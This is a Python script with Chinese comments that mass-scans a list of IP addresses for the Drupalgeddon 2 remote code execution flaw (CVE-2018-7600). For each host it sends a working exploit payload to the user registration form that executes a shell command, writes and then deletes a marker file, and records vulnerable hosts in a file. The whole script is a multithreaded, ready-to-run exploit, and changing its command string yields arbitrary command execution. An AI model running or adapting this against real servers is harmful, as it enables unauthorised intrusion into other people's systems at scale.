#!/usr/bin/env python3
# coding:utf-8
# Drupal 漏洞批量检测脚本
# author：ske
# usage: python3 CVE-2018-7600_multi.py /root/unAuth/Drupal/us.txt 10
# 默认80端口，如果有其他端口，请在ip.txt里修改格式为     IP:PORT

import requests
import threading
from queue import Queue
import sys

event = threading.Event()
event.set()
q = Queue(-1)

class multi_thread(threading.Thread):
    def __init__(self,num,q):
        threading.Thread.__init__(self)
        self.num = num
        self.q = q
        self.commands = 'echo "test:)" | tee index1.txt'

    def run(self):
        while event.is_set():                                               #is_set()查看信号，由于之前设置了Flag为True，所以为真
            if self.q.empty():                                              #如果队列空了就跳出循环，终止
                event.clear()
            else:                                                           #如果队列不为空
                ip = self.q.get()
                self.check_redis(ip)

    def check_redis(self, ip):
        target = 'http://' + ip
        try:
            url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
            payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
                       'mail[#type]': 'markup', 'mail[#markup]': '{}'.format(self.commands)}
            requests.post(url=url, data=payload, timeout=5)
            index1_url = target + '/index1.txt'
            res = requests.get(url=index1_url, timeout=5)
            if 'test:)' in res.text and res.status_code == 200:
                print('[+] -> [{}] : {} 存在Drupal geddon 2 远程代码执行漏洞(CVE-2018-7600)'.format(self.num, target))
                payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
                           'mail[#type]': 'markup', 'mail[#markup]': 'rm index1.txt'}
                requests.post(url, data=payload, timeout=5)
                print('[+] -> [{}] : {} 删除测试文件index1.txt'.format(self.num, target))
                self.save(target)
            else:
                print('[-] -> [{}] : {} Fali'.format(self.num, target))
        except Exception as e:
            print('[error] -> [{}] : {} . {}'.format(self.num, target, e.args))

    def save(self, ip):
        with open('success.txt', 'at') as f:
            f.writelines(ip + '\n')

def scan_thread():                                                         #参数是队列
    threads = []
    for num in range(1,thread_num+1):
        t = multi_thread(num,q)
        threads.append(t)
        t.start()
    for t in threads:
        t.join()

def get_ip():
    with open(path, 'rt') as f:
        for ip in f.readlines():
            q.put(ip.strip())

if __name__ == '__main__':
    path = sys.argv[1]  # /root/unAuth/redis/us.txt
    thread_num = int(sys.argv[2])
    get_ip()
    scan_thread()